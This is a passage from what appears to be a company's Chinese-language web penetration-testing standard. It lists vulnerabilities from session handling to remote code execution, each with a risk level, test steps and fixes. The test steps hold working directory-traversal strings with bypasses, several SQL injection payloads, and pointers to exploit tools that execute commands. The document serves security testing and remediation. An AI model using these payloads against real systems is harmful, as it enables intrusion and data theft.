15分钟后点击系统功能，没有跳转到登陆页面，则说明存在会话超时问题。
15分钟后点击系统功能，跳转到登录页面，但是burpsuite中抓取的登录后的报文重放还可获取数据，说明只是本地清除了会话凭证，但实际会话还是未超时。

修复方案：

1.具有登录功能的互联网系统，在涉及敏感信息时（包括但不限于：身份证号码、个人生物识别信息、银行账号、通信记录和内容、财产信息、征信信息、行踪轨迹、住宿信息、健康生理信息、交易信息、14岁以下（含）儿童的个人信息等），如“我的”、“通讯录和机构信息”、“人事薪酬”、“家庭关系”等页面，必须设置会话超时不得大于15分钟。应用会话超时后，二次认证可选择重新登录，也可在条件许可情况下选择手势密码、指纹、人脸识别、短信等方式提升交互体验。

2.按要求为会话添加时效性，对于用户认证均已接入P13系统的内部办公应用系统，超时时间按P13超时时间设置。对非敏感信息页面，建议与业务做好对接讨论，兼顾用户体验和安全，如不涉及敏感信息，可以不开启会话超时功能，但需要做好手机绑定，非认证终端不可以下载和访问。

账号可同时登陆

风险等级：中

漏洞描述：

应能对单个账号的重复登录（同一账号同时在不同的终端上登录）进行限制（原则上不超过2个），出现重复登录时，给出明确提示；

测试步骤：

使用火狐、谷歌、ie浏览器分别登陆同一个账号。
三个终端功能都能正常使用，则存在账号可同时登陆问题。
如果有一个点击功能会跳转到登陆页面，或者在登录的时候弹框提示“已在其他终端登录”，则不存在该问题。

修复方案：

建议在服务端添加账号登录状态检测。

会话安全

1. 登录信息直接写入cookie

风险等级：中

漏洞描述：

登陆信息以明文形式写入cookie，可直接获取用户账号密码或通过篡改cookie中的用户信息可导致越权登陆等操作。

测试步骤：

使用burpsuite抓取登录过程中生成的cookie；
检查cookie中是否存在以明文或脆弱的加密方式存储的登录信息，如username、name、password、pass、personalkey、ID、groupID、roletype等；

修复方案：

用户名及密码尽可能不在客户端存储，若有必要，如cookie中暂存，应以加密方式存储；

设置Cookie的失效时间为当前时间，让该Cookie在当前页面浏览完之后就失效

2.会话标识未更新

风险等级：中

漏洞描述：

在用户进入登录页面，但还未登录时，就已经产生了一个session，用户输入信息登录以后，session的id不会改变，也就是说没有建立新session，原来的session也没有被销毁）。攻击者可利用此漏洞进行钓鱼达到利用攻击者的会话执行敏感操作。

测试步骤：

打开网站登录页面；
登陆前通过软件工具抓取到的cookie信息值与在登录后抓取到的cookie进行对比，如果其值一样，则可判断其会话的cookies或者sessions未进行更新。

修复方案：

始终生成新的会话，供用户成功认证时登录。防止用户操纵会话标识。请勿接受用户浏览器登录时所提供的会话标识

cookie属性安全

风险等级：中

漏洞描述：

互联网应用应采取措施保证http（https）的会话安全：

a) 应保证cookie安全性：如启用HttpOnly属性，使用临时性Cookie取代永久性Cookie，不使用Cookie定制信息，敏感Cookie需加密保存，HTTPS协议下应启用Secure属性；

测试步骤：

F12查看cookie属性值，如果是http环境，查看httpOnly属性的值应设置为true。为false则存在该问题。
如果是https的环境，除了httpOnly属性还需查看secure属性的值应设置为true。有个为false则存在该问题。

修复方案：

互联网应用应采取措施保证http（https）的会话安全：重要信息的cookie需要做

a) 应保证cookie安全性：如启用HttpOnly属性，使用临时性Cookie取代永久性Cookie，不使用Cookie定制信息，敏感Cookie需加密保存，HTTPS协议下应启用Secure属性；

会话固定

风险等级：中

漏洞描述：

会话固定攻击是利用应用系统在服务器的会话ID固定不变机制，借助他人用相同的会话ID获取认证和授权，然后利用该会话ID劫持他人的会话以成功冒充他人，造成会话固定攻击。

测试步骤：

使用burpsuite抓取未登录、登录及登出过程中的cookie值；
检查cookie中的会话标识值在登录、登出过程中是否及时更新、注销；
若登陆前后会话标识值未进行更新，攻击者可诱使受害者使用攻击者生成的会话标识值完成会话劫持；
若注销后会话标识值未进行注销，攻击者可通过获取受害者的会话标识值完成会话劫持；

修复方案：

在用户提供的认证信息（例如用户名和密码）、相应的权限级别发生变化时，服务器端应重新生成SessionID，并强制失效之前的会话

重放漏洞

风险等级：高

漏洞描述：

重放漏洞是逻辑漏洞中常见的漏洞之一，攻击者通过嗅探受害者的数据包，将此数据包对服务器恶意重放从而造成危害，如截取登录时的数据包重放，就可直接登录系统；截取成功购买物品时的数据包重放，就有可能实现付1买10的操作。

测试步骤：

对注册、登陆、支付、兑换、领取等功能，使用burpsuite抓取相关数据包；
将请求数据包使用repeater重复发送，检查是否存在重复请求成功的情况；

将数据包使用intruder模块多线程发送，检查在多线程并发的情况下是否存在多次请求成功的情况；

修复方案：

服务端应用程序应检查客户端提交的数据的唯一性，如使用流水号、时间戳、token等，并将流水号、时间戳等进行签名。

防篡改

风险等级：高

漏洞描述：

应用程序未校验订单数据的取值范围，交易存在金额、数量篡改、负值反冲等支付问题。

测试步骤：

对支付、兑换、领取等功能，使用burpsuite抓取相关数据包；
对交易数据中交易数值进行修改，如：修改支付价格、购买数量、优惠劵金额、积分金额等，将数值修改为0值负值或数据类型的上限值以达到减少支付金额、获取额外积分等目

对交易数据中支付状态进行修改，修改决定支付或未支付的参数为支付状态的值从而达到支付成功；
对交易数据中交易接口进行修改，若逻辑设计不当，修改其支付接口为一个不存在的接口，如果没做好不存在接口相关处理，那么此时就会支付成功；
对交易数据中用户标识进行修改，若无限制则可实现越权支付；
产生两个不同订单，如果服务端没有做好这相关的验证，那么在支付的过程当中抓包，修改订单号为另一个订单号，就可以用订单一的支付价格买到订单而的商品；
检查订单能否正常执行，如果正常则说明漏洞存在；
对于我司订单多为保险订单，时间参数为重要参数，应保证保单生效时间晚于支付时间，保单截止时间与产品符合。

修复方案：

1) 使用签名机制对互联网接口传输数据进行签名，保证传输过程不被篡改。（例如，使用U盾、MAC消息认证码（信息完整性鉴别），对影响价格、会员积分等交易场景的数字参数信息进行效验，保证传输过程不被篡改）；

2) 对涉及资金交易的传输内容应采用数字签名等抗抵赖措施;

3) 如存在修改失败或者购买失败等情况，服务器反馈数据验证结果。

支付漏洞

风险等级：高

漏洞描述：

应用程序未校验订单数据的取值范围，交易存在金额、数量篡改、负值反冲等支付问题。

测试步骤：

支付漏洞有以下四种情况

（1）修改价格

在订单的整个过程中，利用burp工具对请求及响应包中的价格进行篡改为任意其他价格，若在最终实际付款处，付款金额变为了自己修改后的金额，即存在支付漏洞

（2）修改订单状态

利用burp工具，通过抓关键包修改订单的状态关键词，可以把未完成的订单修改为已完成，即说明存在支付漏洞

（3）修改订单数量

利用burp工具，对订单中的商品数量进行篡改（通常为改为负数），并且最终能够修改成功，则说明存在支付漏洞

（4）修改附属值

利用burp工具，通过篡改购买商品时所使用的优惠券的金额或者使用的优惠券的数量（默认只能使用一张，但可以篡改为多张），或者可以篡改购买商品时的折扣数据，最终使实际付款价格发生变化，则认为存在支付漏洞

参考链接：https://cloud.tencent.com/developer/article/1180124

修复方案：

1)对涉及资金交易的传输内容应采取完整性保护措施（如效验参数是否完整、禁止不合法的传输内容被服务器接受并解析执行）；

2)支付功能要尽量在系统本身校验，不要等跳转到银联界面后校验，容易误导漏洞验证;

3)注意接口的支付逻辑，若逻辑设计不当，修改其支付接口为一个不存在的接口，如果没做好不存在接口相关处理，那么此时就会支付成功。

对于我司订单多为保险订单，时间参数为重要参数，应保证保单生效时间晚于支付时间，保单截止时间与产品符合。

敏感信息泄露

风险等级：高

漏洞描述：

在数据传输过程或应用配置文件中泄露了敏感信息（包含但不限于：口令、密钥、证书、会话标识、License、隐私数据（如短消息的内容）、授权凭据、个人数据（如姓名、住址、电话等）

测试步骤：

使用目录扫描器，如：御剑、dirsearch、dirmap等扫描得到敏感文件的路径，从而找到敏感数据；手工挖掘，根据web容器或者网页源代码的查看，找到敏感信息；
检查在代码中存储的敏感数据如数据库连接字符串、口令和加密密钥之类的敏感数据；
检查密钥或帐号的口令（包含账号密码、个人信息如：身份证号码、银行卡号等）是否以明文形式存储在数据库或者文件中；
检查cookie 中是否以明文形式存储敏感数据：cookie信息容易被窃取，尽量不要在cookie中存储敏感数据；
检查是否使用自己开发的加密算法，未使用公开、安全的标准加密算法。

修复方案：

1、禁止在代码中存储敏感数据：禁止在代码中存储如数据库连接字符串、口令和密钥之类的敏感数据，这样容易导致泄密。

2、禁止密钥或帐号的口令以明文形式存储在数据库或者文件中：密钥或帐号的口令必须经过加密存储。

3、禁止在 cookie 中以明文形式存储敏感数据：cookie信息容易被窃取，尽量不要在cookie中存储敏感数据；如果条件限制必须使用cookie存储敏感信息时，必须先对敏感信息加密再存储到cookie。

4、禁止在隐藏域中存放明文形式的敏感数据。

5、禁止在日志中记录明文的敏感数据：禁止在日志中记录明文的敏感数据（如口令、会话标识jsessionid等），防止敏感信息泄漏。

6、禁止带有敏感数据的Web页面缓存：带有敏感数据的Web页面都应该禁止缓存，以防止敏感信息泄漏或通过代理服务器上网的用户数据互窜问题。

不安全的HTTP协议

风险等级：高

漏洞描述：

互联网传输的CS/BS架构应用使用了http协议进行数据传输。

测试步骤：

对于传输登录信息，个人信息、交易信息的功能系统，并且是明文传输数据的，如果没有使用https安全协议，则存在问题。

修复方案：

互联网传输的CS/BS架构应用应采用VPN链路加密或HTTPS（应采用TLS加密）进行数据传输。

启用SSL弱密码

风险等级：中

漏洞描述：

由于SSL加密套件中使用RC4进行加密，而RC4加密非安全加密算法。

测试步骤：

使用在线SSL加密套件检测：

SSL Server Test (Powered by Qualys SSL Labs)

linux环境：安装openssl

运行命令：openssl s_client -connect xxx.com:443 -cipher RC4

若能查到证书信息代表存在漏洞：

若报：sslv3 alerthandshake failure，则不存在漏洞。

修复方案：

加强密码

备份文件泄露

风险等级：高

漏洞描述：

备份文件泄露，在web服务中，常常不局限于网站的源代码泄露，网站的数据库备份文件，以及上传的敏感文件，或者一切正常备份，原则不允许访问的文件可被通过访问web路径进行下载得到，造成其信息泄露。有效的帮助攻击者理解网站应用逻辑，为展开其他类型的攻击提供有利信息，降低攻击的难度，可以进一步获取其他敏感数据。

测试步骤：

使用目录扫描器，如：御剑、dirsearch、dirmap等，扫描web应用的备份文件；
备份文件一般以.rar、.zip、.7z、.tar.gz、.bak、.swp、.txt、.git、

.DS_store、.php~、idea、.setting、.sql、.project、.classpath结尾；

3）扫描到这些文件后，访问并能下载，则说明存在备份文件泄露问题。

修复方案：

网站管理员严格检查web中可访问的路径下是否存在备份文件，常见备份文件后缀为.jsp、.bak、.bak、.sql、.txt、.zip、.git、.svn.rar、.zip、.7z、.tar.gz、.bak、.swp、.txt、.git、.DS_store、.php、idea、.setting、.sql、.project、.classpath等。如果有这些文件，直接将该备份文件进行转移到其他目录或者直接删除。

2、严格控制可网站可访问目录下的文件敏感度的存放问题，不要将敏感文件置于该目录。

SVN文件信息泄露

风险等级：高

漏洞描述：

Web目录中存在.svn目录，Web中间件未限制客户端访问带.目录，例如:/.conf/、/.svn/、/.data/

测试步骤：

使用浏览器或CURL探测svn相关目录是否存在；
SVN相关目录一般有：/.conf/、/.svn/、/.data/、/.svn/entries、/.svn/pristine、

/.svn/tmp等；

命令：curl -I http://target/+相关目录；

修复方案：

1、不要使用svn checkout和svn up更新服务器上的代码，使用svn export（导出）功能代替。

2、服务器软件（Nginx、apache、tomcat、IIS等）设置目录权限，禁止访问.svn目录

测试页面、示例文件未删除

风险等级：中

漏洞描述：

应用中存在遗留的过时文件、备份页面、渗透测试遗留文件、开发文件残留的测试文件等。

测试步骤：

使用目录扫描器，如：御剑、dirsearch（以御剑为例）等，扫描web应用默认的测试页面和非业务需求的页面查看是否存在未及时删除的页面，需要建议开发测试在代码扫描中找出“测试页面、test-page、testt page、示例页面、Sample page、Sample-page”,开发打包前清除一切不需要的代码、页面，包含无用的测试页面、注释单靠目录扫描工具可能会有遗漏，在JS文件中可能也会写有URL，这些地址可能也是测试后未删除的示例文件地址。

修复方案：

1.web路径下严格检查是否存在备份文件，中间件测试页面，未授权的测试页面，及时删除或移动web目录外下存放，访问权限控制等

2.严格控制敏感目录访问控制权限

安装文件未删除

风险等级：高

漏洞描述：

在服务器中存放应用安装包文件，攻击者如果拿到安装包的信息，就可能会知道当前服务器所安装的软件，来进行进一步的攻击。

测试步骤：

1）使用目录扫描器，如：御剑、dirsearch，扫描web应用的一些默认安装文件目录或页面，发现存在安装包，即存在该问题。

修复方案：

删除.setup .war等安装文件

JS文件敏感信息泄露

风险等级：高

漏洞描述：在前端js文件中，泄露了敏感信息，如账户、密码、文件路径等（包含账号密码、个人信息如：身份证号码、银行卡号）

测试步骤：

打开测试网页，右键查看网页的源代码。
网页源代码中的内容一般分为以下几种：
1. html或者javascript代码
2. 页面调用的JS文件（形似：<script src="https://xxxxxxxxxxxxxxxxx"></script>）
在html代码或者Javascript代码中，可能会直接存在用户的账号密码或者是身份证信息等敏感信息，这些信息可能包裹在hidden属性的标签内，导致页面上不会显示账号信息，但是会在源代码中存在。
假如存在JS文件中的是账号密码，攻击者可以直接用泄露的账号密码登录进行，进行进一步的渗透攻击；如果是身份证、手机号等信息，也可以用于社工、爆破等用途。

举个例子：例如某网站直接在页面的JS文件中输出了评论用户的账号、手机号、注册邮箱

这种信息不会直接显示在网页上，但是会存在JS文件里面。查看网页源代码，在网页代码和调用JS文件中可能存在用户账户、密码这样的个人信息。这些敏感信息不会直接显示在网页上，但是出现在JS文件中仍然会有泄露的风险。攻击者可直接使用账户密码登陆系统，进行进一步的渗透。

JS文件中可能还存在一些文件路径，这些文件往往包含着网站的配置信息且常常未做权限控制，也存在敏感信息泄露的问题。

修复方案：

在前端js文件中，查看是否存在敏感信息，不把此类敏感信息直接存储进页面内的js等文件中

敏感信息未模糊化

风险等级：高

漏洞描述：

敏感信息（包含账号密码、个人信息如：身份证号码、银行卡号等）在终端上展示时未进行模糊处理。

测试步骤：

该问题常见于人员信息查询、客户信息查询功能点，这些功能点常常会明文展示身份证号这种敏感信息，禁止身份证号、银行卡号明文展示在前端页面，必须做模糊化处理。
还有一种情况，不需要使用身份证号的功能点，查询返回包中却携带身份证信息，也存在该问题，需要修改代码，禁止返回身份证号

修复方案：

建议非业务上的必要，敏感信息在传输过程中和终端上展示时应做模糊处理，如部分内容以*方式传输及显示，并在应用后台进行敏感字段脱敏处理。

内部IP地址泄露

风险等级：中

漏洞描述：网站的内部IP地址写在了js文件或明文存储于cookie中。

测试步骤：

查看网站的源代码，JS文件，里面若明文存在内网的IP地址（形如10.xxx.xxx.xxx），则网站存在内部IP地址泄露的问题；
数据包中COOKIE可能也会以明文形式存在内网IP地址，这种情况也会造成内部IP地址泄露，如下图：

使用不同的请求方法，可以使服务器重定向，从而泄露内网ip地址：

4）访问不存在的目录，可以使服务器重定向，泄露内网ip地址：

修复方案：

建议对内部IP进行删除或隐藏。不得将内部ip地址写在js、CSS等静态文件中。不得将直接内部IP写入cookie、 BIG-IP cookie中。

WEB.XML配置文件泄露

风险等级：高

漏洞描述：

通常一些web应用我们会使用多个web服务器搭配使用，解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候，由于对静态资源的目录或文件的映射配置不当，可能会引发一些的安全问题，导致web.xml等文件能够被读取。

测试步骤：

确定自己的测试地址，打开目录扫描工具；
扫描到域名存在WEB-INF/web.xml的地址后人工访问确认；
根据web.xml配置文件路径或通常开发时常用框架命名习惯，找到其他配置文件或类文件路径，dump class文件进行反编译，得到网站源码；

WEB-INF主要包含以下文件或目录：

/WEB-INF/web.xml：Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则；

/WEB-INF/classes/：含了站点所有用的 class 文件，包括 servlet class 和非servlet class，他们不能包含在 .jar文件中；

/WEB-INF/lib/：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件；

/WEB-INF/src/：源码目录，按照包名结构放置各个java文件；/WEB-INF/database.properties：数据库配置文件；

修复方案：

设置目录权限，禁止访问且在配置文件中对敏感信息进行加密

服务器路径泄露

风险等级：中

漏洞描述：应用中泄露了网站根目录或敏感文件绝对路径等

测试步骤：

有以下三种常见情况：
1. 服务器配置不当，在报错页面会返回服务器的真实物理路径
2. 在上传功能点处，抓取上传的返回包，在返回包中可能会存在服务器的真实物理路径。
3. 打开网页源代码，查看图片等媒体的链接及超链接

修复方案：

1.对本地路径进行隐藏。媒体链接和超链接采用相对路径的表达方式。

2.报错信息中不对外输出网站物理路径等敏感信息。

目录遍历

风险等级：高

漏洞描述：

目录浏览漏洞是由于网站存在配置缺陷，存在目录可浏览漏洞，这会导致网站很多隐私文件与目录泄露，比如数据库备份文件、配置文件等，攻击者利用该信息可以更容易得到网站权限。

测试步骤：

在测试过程中通过js文件查看系统路径进行访问回退后发现是否存在目录遍历情况
可通过google hacking进行搜索如：index of site:baidu.cn
寻找系统中形如“http://www.xxxx.com/getfile=image.jpg”，web应用通过getfile脚本自动添加完整路径“d://site/images/image.jpg”，将读取的内容返回给访问者。
可通过添加特殊字符尝试发现目录遍历漏洞如

“download.jsp?filenmae=../../../../../../../etc/passwd”

编码绕过“downfile.jsp?filename= %66%61%6E%2E%70%64%66”
在有些Web应用程序是通过限定目录权限来分离的。当然这样的方法不值得可取的，攻击者可以通过某些特殊的符号“~“来绕过。形如这样的提交“downfile.jsp?filename=~/../boot”。能过这样一个符号，就可以直接跳转到硬盘根目录下。
一些Web应用程序在读取文件前，会对提交的文件后缀进行检测，攻击者可以在文件名后放一个空字节的编码，来绕过这样的文件类型的检查。例如：../../../../boot.ini%00.jpg，Web应用程序使用的Api会允许字符串中包含空字符，当实际获取文件名时，则由系统的Api会直接截短，而解析为“../../../../boot.ini”。
部分系统过滤了“../”字符可通过…//…/./…///../”方式进行绕过

修复方案：

1、净化数据：对用户传过来的文件名参数进行硬编码或统一编码，对文件类型进行白名单控制，对包含恶意字符或者空字符的参数进行拒绝。

2、 web应用程序可以使用chroot环境包含被访问的web目录，或者使用绝对路径+参数来访问文件目录，时使其即使越权也在访问目录之内。www目录就是一个chroot应用. 由chroot创造出的那个根目录，叫做“chroot监狱”（所谓"监狱"就是指通过chroot机制来更改某个进程所能看到的根目录，即将某进程限制在指定目录中，保证该进程只能对该目录及其子目录的文件有所动作，从而保证整个服务器的安全，详细具体chroot的用法，可参考：http://blog.csdn.net/frozen_fish/article/details/2244870

3、任意文件下载漏洞也有可能是web所采用的中间件的版本低而导致问题的产生，例如ibm的websphere的任意文件下载漏洞，需更新其中间件的版本可修复。

4、要下载的文件地址保存至数据库中。

5、文件路径保存至数据库，让用户提交文件对应ID下载文件。

6、用户下载文件之前需要进行权限判断。

7、文件放在web无法直接访问的目录下。

8、不允许提供目录遍历服务。

9、公开文件可放置在web应用程序下载目录中通过链接进行下载。

参考代码：

public String download() throws Exception {

//获取文件id

String id = Struts2Utils.getRequest().getParameter("id");

try {

//通过id进行文件查询

DownloadFile downFile = fileService.findEntityById(Long.parseLong(id));

// 获取该附件的类型

byte[] bt = null;

bt = downFile.getContent();

HttpServletResponse res =Struts2Utils.getResponse();

res.reset();

res.setContentType("application/x-msdownload");

res.setHeader("Content-Disposition", "attachment;filename="+ URLEncoder.encode(uacFile.getName(), "UTF-8"));

OutputStream out = res.getOutputStream();

out.write(bt);

out.flush();

out.close();

} catch (Exception e1) {

e1.printStackTrace();

}

return null;

}

参数保护

robots文件配置

风险等级：中

漏洞描述：

robots.txt文件有可能泄露系统中的敏感信息，如后台地址或者不愿意对外公开的地址等，恶意攻击者有可能利用这些信息实施进一步的攻击。

测试步骤：

在网站根目录输入robots.txt文件名称，查看文件是否存在；
如果文件中存在敏感目录的地址，包括：后台地址、特殊接口地址、特殊功能页面、测试页面，则说明robots.txt存在问题；
如果文件中没有包含敏感目录，或者包含以敏感目录的局部名称，形如：/ad、/ma*，则说明没有漏洞。

修复方案：

根据实际情况，进行如下对应的修复：

1、 User-agent: * 这里的*代表的所有的搜索引擎种类，*是一个通配符

2、 Disallow: / 这里定义是禁止爬寻站点所有的内容

3、 Disallow: /admin/ 这里定义是禁止爬寻admin目录下面的目录

4、 Disallow: /ABC/ 这里定义是禁止爬寻ABC目录下面的目录

5、 Disallow: /cgi-bin/*.htm 禁止访问/cgi-bin/目录下的所有以".htm"为后缀的URL(包含子目录)。

6、 Disallow: /*?* 禁止访问网站中所有包含问号 (?) 的网址

7、 Disallow: /.jpg$ 禁止抓取网页所有的.jpg格式的图片

8、 Disallow:/ab/adc.html 禁止爬取ab文件夹下面的adc.html文件。

9、 Allow: /cgi-bin/　这里定义是允许爬寻cgi-bin目录下面的目录

10、Allow: /tmp 这里定义是允许爬寻tmp的整个目录

11、Allow: .htm$ 仅允许访问以".htm"为后缀的URL。

12、Allow: .gif$ 允许抓取网页和gif格式图片

13、Sitemap: 网站地图告诉爬虫这个页面是网站地图

敏感数据get传输

风险等级：中

漏洞描述：

会话令牌、登陆信息等敏感信息使用GET方式进行传输，此时这些敏感信息被附加在URL地址后面一起发送到服务器。

测试步骤：

使用burpsuite对web应用的请求抓包分析；
如果存在登录账户信息、个人敏感信息（手机号、身份证号、银行卡号）、会话令牌（token）这些信息使用GET方法进行传输，这说明存在该漏洞。

修复方案：

使用HTTP的POST请求方法代替GET请求方法来提交敏感信息表单，禁止使用表单的隐藏字段来传递敏感信息；不依赖HTTP头信息，对客户端提交的HTTP头进行过滤。

敏感数据get传输

风险等级：中

漏洞描述：

URL中暴露会话标识符，会话标识符以 GET 参数进行传递。

测试方法：

使用burp等方式获取GET请求包，检查GET请求包包头中是否存在token等；
如果存在token验证token是否作为有效的会话令牌使用，如果是有效的会话标识符说明漏洞存在。

修复方案：

POST方法代替GET方法来提交敏感信息表单，禁止使用表单的隐藏字段来传递敏感信息

软件容错和异常管理

异常管理

版本信息泄露

风险等级：中

漏洞描述：

应用报错时的缺省页面中包含中间件版本等信息。

测试步骤：

检查响应包中是否含有版本信息；
通过目录扫描或手工输入不存在的文件或路径，触发服务器产生报错；
通过目录扫描或手工输入一个无权限查看的文件或路径，触发服务器产生报错；
手工输入不存在的参数或特殊构造的字符串，如单引号，尖括号等，触发服务器产生报错；
检查报错页面中是否含有版本信息；

修复方案：

定制统一的错误页面，当程序异常时显示统一的错误提示页面；删除/修改/隐藏HTTP Header中的中间件程序版本信息，避免信息泄漏。

应用程序调试信息泄露

风险等级：中

漏洞描述：

应用程序未屏蔽执行过程中的错误信息，未统一出错提示，直接抛出了异常，造成敏感信息泄漏。可从程序的错误信息中获得程序开发框架名称及版本、SQL语句、SQL数据库表名、绝对路径等敏感信息。

测试步骤：

通过目录扫描或手工输入不存在的文件或路径，触发服务器产生报错；
通过目录扫描或手工输入一个无权限查看的文件或路径，触发服务器产生报错；
手工输入不存在的参数或特殊构造的字符串，如单引号，尖括号等，触发服务器产生报错；
手工输入一个http方法，触发服务器产生报错；
输入格式错误的数据，如：错误的数据格式、错误的数据长度等进行报错；
检查是否有调试信息泄露；

修复方案：

当系统发现异常访问或出故障时，统一出错提示，应避免敏感信息泄露及显示详细错误信息。增加try catch等容错语句，捕获所有异常并统一出错提示，过滤详细的错误信息反馈，禁止直接抛出异常，禁止将异常信息输出到页面中。

远程代码执行

风险等级：高

漏洞描述：

远程命令执行简称RCE漏洞，是指用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令，可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

测试步骤：

1）Jboss远程代码执行检测工具：https://github.com/GGyao/jbossScan

2）Weblogic远程代码执行检测工具：https://github.com/dr0op/WeblogicScan

3）Apache Shiro远程代码执行检测工具：https://github.com/1522402210/shiro_rce

4）Fastjson远程代码执行检测工具：https://github.com/wyzxxz/fastjson_rce_tool

5）Struts2远程代码执行检测工具：https://github.com/HatBoy/Struts2-Scan

6）thinkPHP远程代码执行检测工具：https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

7）shiro反序列化漏洞执行检测工具：GitHub - feihong-cs/ShiroExploit-Deprecated: Shiro550/Shiro721 一键化利用工具，支持多种回显方式

使用方法：

按要求输入要检测的目标URL和选择漏洞类型；

选择攻击方式；

检测漏洞并执行命令；

修复方案：

1、建议假定所有输入都是可疑的，尝试对所有输入提交可能执行命令的构造语句进行严格的检查或者控制外部输入，系统命令执行函数的参数不允许外部传递。

2、不仅要验证数据的类型，还要验证其格式、长度、范围和内容。

3、不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。

4、对输出的数据也要检查，数据库里的值有可能会在一个大网站的多处都有输出，即使在输入做了编码等操作，在各处的输出点时也要进行安全检查。

Struts 2远程代码执行

风险等级：高

漏洞描述:

Struts2是在Struts和WebWork的技术基础上进行了合并的全新的框架。Struts2漏洞类型分为两种，一种是使用缩写的导航参数前缀时的远程代码执行漏洞，另一种是使用缩写的重定向参数前缀时的开放式重定向漏洞，Struts2远程命令执行，属于高危安全漏洞，可使黑客取得网站服务器的权限。

测试步骤:

下载Struts2远程代码执行检测工具：GitHub - HatBoy/Struts2-Scan: Struts2全漏洞扫描利用工具
使用方法如下：

选择单个检测还是批量检测

如果检测存在问题，可指定漏洞名称进行利用

工具检测到说明存在漏洞。

修复方案：

检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ，如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞，

更行至Strusts2.3.32或者Strusts2.5.10.1，或使用第三方的防护设备进行防护。

WebLogic Server远程代码执行

风险等级：高

漏洞描述：

攻击者可利用该漏洞在未授权的情况下发送攻击数据，通过T3协议在WebLogic Server中执行反序列化操作,最终实现远程代码执行。

测试方法：

下载Weblogic远程代码执行检测工具：GitHub - dr0op/WeblogicScan: 增强版WeblogicScan、检测结果更精确、插件化、添加CVE-2019-2618，CVE-2019-2729检测，Python3支持
使用方法如下：

如果工具检测存在问题说明漏洞存在。

修复方案：

目前， Oracle官方已经发布补丁修复了漏洞，建议用户及时确认是否受到漏洞影响Oracle官方更新链接如下：https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html

临时解决方案

通过设置weblogic.security.net.ConnectionFilterImpl默认连接筛选器，对T3/T3s协议的访问权限进行配置，阻断漏洞利用途径。具体如下：

（a）进入WebLogic控制台，在base_domain的配置页面中，进入“安全”选项卡页面，点击“筛选器”，进入连接筛选器配置。

（b）在连接筛选器中输入：WebLogic.security.net.ConnectionFilterImpl，在连接筛选器规则中输入：* * 7001 deny t3 t3s

（c）保存后重新启动即可生效

JBOSS远程代码执行

风险等级：高

漏洞描述：

JBOSS默认配置会有一个后台漏洞，漏洞发生在jboss.deployment命名空间中的addURL()函数,该函数可以远程下载一个包含shell的war压缩包并解压。

测试方法:

下载Jboss远程代码执行检测工具：https://github.com/GGyao/jbossScan,

具体利用工具：https://github.com/joaomatosf/JavaDeserH2HC

使用方法如下:

检测后根据存在的具体漏洞使用利用工具另行检测。

修复方案：

给jmx-console加上访问密码

1.在 ${jboss.server.home.dir}/deploy下面找到jmx-console.war目录编辑WEB-INF/web.xml文件去掉 security-constraint 块的注释，使其起作用

2.编辑WEB-INF/classes/jmx-console-users.properties或server/default/conf/props/jmx-console-users.properties (version >=4.0.2)和 WEB-INF/classes/jmx-console-roles.properties

或server/default/conf/props/jmx-console-roles.properties(version >=4.0.2) 添加用户名密码

3.编辑WEB-INF/jboss-web.xml去掉 security-domain 块的注释，security-domain值的映射文件为 login-config.xml （该文件定义了登录授权方式）

反序列化漏洞

风险等级：高

漏洞描述：

Java序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中，Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。Java反序列化即逆过程，由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。Apache Commons Collections允许链式的任意的类函数反射调用。攻击者通过允许Java序列化协议的端口，把攻击代码上传到服务器上，再由Apache Commons Collections里的TransformedMap来执行。

测试步骤:

下载shiro反序列化漏洞执行检测工具：GitHub - feihong-cs/ShiroExploit-Deprecated: Shiro550/Shiro721 一键化利用工具，支持多种回显方式
使用方法如下:

按要求输入要检测的目标URL和选择漏洞类型；

选择攻击方式；

检测漏洞并执行命令；

通过工具验证成功说明存在漏洞。

修复方案：

及时更新下载官方补丁。

限制及验证

SQL注入

风险等级：高

漏洞描述：

SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。

测试步骤：

union注入

通过使用','),and,or等字符对查询、修改功能处进行检测，检验是否存在sql报错sql注入点。

结果显示页面通过union联合查询select语句

Order by 1-99查询字段数

或者union null,null,null,查询

?id=-1'+union+select+1,2,3--+ //判断字段显示的位置、-1表示不出现前面的查询

在显示位插入查询语句。

Boolean注入

结果只是错误或者正确（yes or no）

通过比较类型的sql语句进行逐位判断

Id=1' and length(database())>=2--+ //判断数据库长度

substr(database(),1,1)='a' //从第一个字符开始测试判断数据库名称

substr((select password from admin),1,1)//同理，通过不同的sql语句得出想要的结果

报错注入

Mysql_error()显示错误信息输出到页面

使用floor(),updatexml()等函数将查询的内容输出到页面上：Updatexml(a,b,c) //其中a为文档名称，b为查询条件，c为代替值。updatexml的作用：改变文档中符合条件的节点的值。比如：a中是否有与b相同，相同则用c代替。

$payload：

a.Id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

b.id=1'+union+select+1,count(*),concat(0x3a,0x3a,(select+table_name+from+information_schema.tables+where+table_schema='security'),0x3a,0x3a,floor(rand(0)*2))a+from+information_schema.tables+group+by+a--+

c.id=1'+union+select+(exp(~(select+*+from(select+database())a))),2,3--+

d.id=1'+union+select+(!(select+*+from+(select+database())x)+-+~0),2,3--+

e.id=1'+and+extractvalue(1,concat(0x7e,(select+database()),0x7e))--+

延时注入攻击

结果显示错误或者正确（yes or no）

这种方式跟Boolean很类似，区别在于使用函数是if（p1,p2,p3）条件,P1是code部分，条件p1正确，则返回p2结果，否则返回p3结果。

Payload:Id=1' and if((select database()),sleep(3),1)

堆叠查询注入

